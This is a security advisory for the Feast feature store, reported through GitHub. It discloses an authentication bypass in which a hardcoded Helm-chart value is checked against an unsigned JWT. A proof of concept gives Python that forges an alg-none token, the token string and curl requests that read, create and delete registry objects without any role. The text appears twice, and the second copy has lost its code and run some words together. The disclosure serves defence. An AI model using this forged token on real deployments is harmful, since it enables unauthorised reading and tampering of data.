reported on 7 July 2026 via https://github.com/feast-dev/feast/security/advisories/GHSA-h543-6vgr-fm36:
Summary
Feast's RBAC system lets internal Feast components (e.g. a feature server calling the registry server) skip normal authentication by sending a token whose preferred_username (OIDC) or service-account name (Kubernetes) claim matches the value of the INTRA_COMMUNICATION_BASE64 environment variable. Both token parsers check this value against a completely unverified JWT decode, performed before any signature check or IdP round-trip. The value it is compared against is hardcoded to a fixed, publicly-known string in Feast's own Helm chart (infra/charts/feast-feature-server/templates/deployment.yaml): base64("intra-server-communication").
Any user who can send an HTTP/gRPC/Arrow Flight request to a Feast server deployed with this chart (or any deployment that copies this common default) can craft a JWT with an empty/garbage signature and this one claim, and be granted a special "intra-communication" identity that Feast's security manager treats as fully trusted, skipping every permission check in the RBAC system for every project on that server: full read of every project's entities, feature views, data sources, and permission policies, and full create/update/delete of all of them.
Details
SecurityManager.assert_permissions/permitted_resources in sdk/python/feast/permissions/security_manager.py first call is_auth_necessary:
# sdk/python/feast/permissions/security_manager.py:238-254
def is_auth_necessary(sm: Optional[SecurityManager]) -> bool:
intra_communication_base64 = os.getenv("INTRA_COMMUNICATION_BASE64")
if sm is None:
return False
if sm.current_user is None:
return True
if sm.current_user.username == intra_communication_base64:
return False # <-- ALL permission checks are skipped
return True
If is_auth_necessary returns False, assert_permissions and permitted_resources both return every requested resource unchecked - no Permission object is ever consulted.
The "current user" is set per-request by inject_user_details (REST) / the gRPC and Arrow Flight auth interceptors, which all call the same AuthManager.token_parser.user_details_from_access_token(). For OIDC mode this is OidcTokenParser:
# sdk/python/feast/permissions/auth/oidc_token_parser.py:150-158
try:
unverified = jwt.decode(access_token, options={"verify_signature": False})
except jwt.exceptions.DecodeError as e:
raise AuthenticationError(f"Failed to decode token: {e}")
user = self._get_intra_comm_user(unverified)
if user:
return user # <-- returned BEFORE _validate_token()/_decode_token() (JWKS) ever runs
# sdk/python/feast/permissions/auth/oidc_token_parser.py:252-265
@staticmethod
def _get_intra_comm_user(decoded_token: dict) -> Optional[User]:
intra_communication_base64 = os.getenv("INTRA_COMMUNICATION_BASE64")
if intra_communication_base64:
if "preferred_username" in decoded_token:
preferred_username: str = decoded_token["preferred_username"]
if preferred_username == intra_communication_base64:
return User(username=preferred_username, roles=[])
return None
jwt.decode(..., options={"verify_signature": False}) accepts any syntactically valid JWT regardless of algorithm or signature. Only after this early return does the parser call _validate_token (OAuth2 bearer check) and _decode_token (genuine JWKS RS256 signature verification against the configured IdP). Normal users therefore are properly signature-checked (confirmed below) - it is specifically the intra-communication identity that bypasses this entirely.
KubernetesTokenParser.user_details_from_access_token has the mirror-image issue (sdk/python/feast/permissions/auth/kubernetes_token_parser.py:52-60): it extracts sub from an unverified decode (_decode_token, itself calling jwt.decode(access_token, options={"verify_signature": False}) at line 465) and if the extracted service-account name equals INTRA_COMMUNICATION_BASE64, returns a trusted User immediately. The preceding TokenReview call (_extract_groups_and_namespaces_from_token) swallows all exceptions and simply returns empty groups/namespaces on failure rather than aborting, so an invalid/unauthenticated token does not stop the unverified sub check from being reached.
The value being compared against is not a per-deployment secret. It is hardcoded in Feast's own Helm chart:
# infra/charts/feast-feature-server/templates/deployment.yaml:43-47
env:
- name: FEATURE_STORE_YAML_BASE64
value: {{ .Values.feature_store_yaml_base64 }}
- name: INTRA_COMMUNICATION_BASE64
value: {{ "intra-server-communication" | b64enc }}
{{ "intra-server-communication" | b64enc }} evaluates to the constant aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24= on every deployment made with this chart - it is not templated from a per-install secret or generated randomly. This exact string is also what Feast's own legitimate client code sends, confirming the intended (and, as shown, entirely unverified) format of the trust token:
# sdk/python/feast/permissions/client/intra_comm_authentication_client_manager.py:18-32
def get_token(self):
if self.auth_config.type == AuthType.OIDC.value:
payload = {"preferred_username": f"{self.intra_communication_base64}"}
elif self.auth_config.type == AuthType.KUBERNETES.value:
payload = {"sub": f":::{self.intra_communication_base64}"}
...
return jwt.encode(payload, "", algorithm="none")
Feast's own internal client mints this token with algorithm="none" and an empty key - i.e., the legitimate, by-design credential for this bypass is an unsigned token. Any external caller who reproduces this exact, publicly-documented shape gets the same trust level as an internal Feast component, on every serving interface, because REST (permissions/server/rest.py), gRPC (permissions/server/grpc.py) and Arrow Flight (permissions/server/arrow.py) all resolve the current user through the same token_parser.user_details_from_access_token() call.
PoC
Environment: Feast REST Registry Server (feast serve_registry --no-grpc --rest-api) started with auth.type: oidc pointed at a local mock IdP (JWKS/RS256, so genuine signature verification is exercised), INTRA_COMMUNICATION_BASE64 set to the exact value the official Helm chart hardcodes (aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24= = base64("intra-server-communication")), and two projects (project_a, project_b) each with one entity, one feature view, and a RoleBasedPolicy Permission requiring a project-specific role (project_a_reader / project_b_reader) for DESCRIBE/READ_*.
- No token -> denied (auth is active):
$ curl -s -w "\nHTTP_STATUS:%{http_code}\n" "http://127.0.0.1:6572/api/v1/entities?project=project_a"
{"status_code":401,"detail":"Invalid or expired access token","error_type":"HTTPException"}
HTTP_STATUS:401
- A properly-signed (RS256, JWKS-verified) token for a user with no matching role -> denied, proving normal RBAC and normal signature verification are both actively enforced:
$ curl -s -w "\nHTTP_STATUS:%{http_code}\n" -H "Authorization: Bearer $NOPRIV" \
"http://127.0.0.1:6572/api/v1/entities?project=project_a"
{"status_code":403,"detail":"Permission error:\nPermission project_a_reader_permission denied execution of ['DESCRIBE'] to Entity:user_id: Requires roles ['project_a_reader']","error_type":"FeastPermissionError"}
HTTP_STATUS:403
- The forged bypass token, built exactly like Feast's own internal client (
alg: none, empty signature, preferred_username = the hardcoded chart value):
import jwt
payload = {"preferred_username": "aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24="}
token = jwt.encode(payload, "", algorithm="none")
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhVzUwY21FdGMyVnlkbVZ5TFdOdmJXMTFibWxqWVhScGIyND0ifQ.
Using this token, with no valid signature and no assigned role whatsoever:
Read every permission policy on the server (would normally require a dedicated "read permissions" grant):
$ curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:6572/api/v1/permissions?project=project_a"
{"permissions":[{"spec":{"name":"project_a_reader_permission","types":["PROJECT","FEATURE_VIEW", ... ],
"actions":["DESCRIBE","READ_OFFLINE","READ_ONLINE"],"policy":{"roleBasedPolicy":{"roles":["project_a_reader"]}}}, ...}]}
HTTP_STATUS:200
Read a feature view (including its data source file path) in a different project than any legitimate reader role would allow:
$ curl -s -H "Authorization: Bearer $TOKEN" "http://127.0.0.1:6572/api/v1/feature_views?project=project_b"
{"featureViews":[{"spec":{"name":"project_b_public_metrics", ... ,
"batchSource":{"fileOptions":{"uri":"/.../data/project_b_data.parquet"}, ...}}, ...}]}
HTTP_STATUS:200
Create an arbitrary new entity in project_b (CREATE, no permission held):
$ curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"attacker_planted_entity","project":"project_b","join_key":"attacker_id"}' \
"http://127.0.0.1:6572/api/v1/entities"
{"name":"attacker_planted_entity","project":"project_b","status":"applied"}
HTTP_STATUS:201
Delete it again (DELETE, no permission held):
$ curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"http://127.0.0.1:6572/api/v1/entities/attacker_planted_entity?project=project_b"
{"name":"attacker_planted_entity","project":"project_b","status":"deleted"}
HTTP_STATUS:200
Every one of these calls used a token with an empty/garbage signature and zero assigned roles, against a server that had just correctly rejected a properly-signed, unprivileged, properly-authenticated user for the exact same operation.
Impact
Any network caller able to reach a Feast registry server, feature server, or Arrow Flight server running in oidc or kubernetes auth mode with the default/documented Helm-chart configuration can fully bypass RBAC: read every entity, feature view, data source (including data source connection details such as file/table paths and query strings), saved dataset, and permission policy across every project on that server, and create, update, or delete any of them, with no valid credential of any kind. Because the trust value is a fixed constant published in Feast's own source tree rather than a per-deployment secret, this is exploitable against any deployment that has not manually overridden INTRA_COMMUNICATION_BASE64 to a private, unpublished value - which most default installs following the official Helm chart will not have done.
version: commit f296d4b
reported on 7 July 2026 via https://github.com/feast-dev/feast/security/advisories/GHSA-h543-6vgr-fm36:
Summary
Feast's RBAC system lets internal Feast components (e.g. a feature server calling the registry server) skip normal authentication by sending a token whose
preferred_username(OIDC) or service-account name (Kubernetes) claim matches the value of theINTRA_COMMUNICATION_BASE64environment variable. Both token parsers check this value against a completely unverified JWT decode, performed before any signature check or IdP round-trip. The value it is compared against is hardcoded to a fixed, publicly-known string in Feast's own Helm chart (infra/charts/feast-feature-server/templates/deployment.yaml):base64("intra-server-communication").Any user who can send an HTTP/gRPC/Arrow Flight request to a Feast server deployed with this chart (or any deployment that copies this common default) can craft a JWT with an empty/garbage signature and this one claim, and be granted a special "intra-communication" identity that Feast's security manager treats as fully trusted, skipping every permission check in the RBAC system for every project on that server: full read of every project's entities, feature views, data sources, and permission policies, and full create/update/delete of all of them.
Details
SecurityManager.assert_permissions/permitted_resourcesinsdk/python/feast/permissions/security_manager.pyfirst callis_auth_necessary:If
is_auth_necessaryreturnsFalse,assert_permissionsandpermitted_resourcesboth return every requested resource unchecked - noPermissionobject is ever consulted.The "current user" is set per-request by
inject_user_details(REST) / the gRPC and Arrow Flight auth interceptors, which all call the sameAuthManager.token_parser.user_details_from_access_token(). For OIDC mode this isOidcTokenParser:jwt.decode(..., options={"verify_signature": False})accepts any syntactically valid JWT regardless of algorithm or signature. Only after this early return does the parser call_validate_token(OAuth2 bearer check) and_decode_token(genuine JWKS RS256 signature verification against the configured IdP). Normal users therefore are properly signature-checked (confirmed below) - it is specifically the intra-communication identity that bypasses this entirely.KubernetesTokenParser.user_details_from_access_tokenhas the mirror-image issue (sdk/python/feast/permissions/auth/kubernetes_token_parser.py:52-60): it extractssubfrom an unverified decode (_decode_token, itself callingjwt.decode(access_token, options={"verify_signature": False})at line 465) and if the extracted service-account name equalsINTRA_COMMUNICATION_BASE64, returns a trustedUserimmediately. The precedingTokenReviewcall (_extract_groups_and_namespaces_from_token) swallows all exceptions and simply returns empty groups/namespaces on failure rather than aborting, so an invalid/unauthenticated token does not stop the unverifiedsubcheck from being reached.The value being compared against is not a per-deployment secret. It is hardcoded in Feast's own Helm chart:
{{ "intra-server-communication" | b64enc }}evaluates to the constantaW50cmEtc2VydmVyLWNvbW11bmljYXRpb24=on every deployment made with this chart - it is not templated from a per-install secret or generated randomly. This exact string is also what Feast's own legitimate client code sends, confirming the intended (and, as shown, entirely unverified) format of the trust token:Feast's own internal client mints this token with
algorithm="none"and an empty key - i.e., the legitimate, by-design credential for this bypass is an unsigned token. Any external caller who reproduces this exact, publicly-documented shape gets the same trust level as an internal Feast component, on every serving interface, because REST (permissions/server/rest.py), gRPC (permissions/server/grpc.py) and Arrow Flight (permissions/server/arrow.py) all resolve the current user through the sametoken_parser.user_details_from_access_token()call.PoC
Environment: Feast REST Registry Server (
feast serve_registry --no-grpc --rest-api) started withauth.type: oidcpointed at a local mock IdP (JWKS/RS256, so genuine signature verification is exercised),INTRA_COMMUNICATION_BASE64set to the exact value the official Helm chart hardcodes (aW50cmEtc2VydmVyLWNvbW11bmljYXRpb24==base64("intra-server-communication")), and two projects (project_a,project_b) each with one entity, one feature view, and aRoleBasedPolicyPermissionrequiring a project-specific role (project_a_reader/project_b_reader) forDESCRIBE/READ_*.alg: none, empty signature,preferred_username= the hardcoded chart value):Using this token, with no valid signature and no assigned role whatsoever:
Read every permission policy on the server (would normally require a dedicated "read permissions" grant):
Read a feature view (including its data source file path) in a different project than any legitimate reader role would allow:
Create an arbitrary new entity in
project_b(CREATE, no permission held):Delete it again (DELETE, no permission held):
Every one of these calls used a token with an empty/garbage signature and zero assigned roles, against a server that had just correctly rejected a properly-signed, unprivileged, properly-authenticated user for the exact same operation.
Impact
Any network caller able to reach a Feast registry server, feature server, or Arrow Flight server running in
oidcorkubernetesauth mode with the default/documented Helm-chart configuration can fully bypass RBAC: read every entity, feature view, data source (including data source connection details such as file/table paths and query strings), saved dataset, and permission policy across every project on that server, and create, update, or delete any of them, with no valid credential of any kind. Because the trust value is a fixed constant published in Feast's own source tree rather than a per-deployment secret, this is exploitable against any deployment that has not manually overriddenINTRA_COMMUNICATION_BASE64to a private, unpublished value - which most default installs following the official Helm chart will not have done.version: commit f296d4b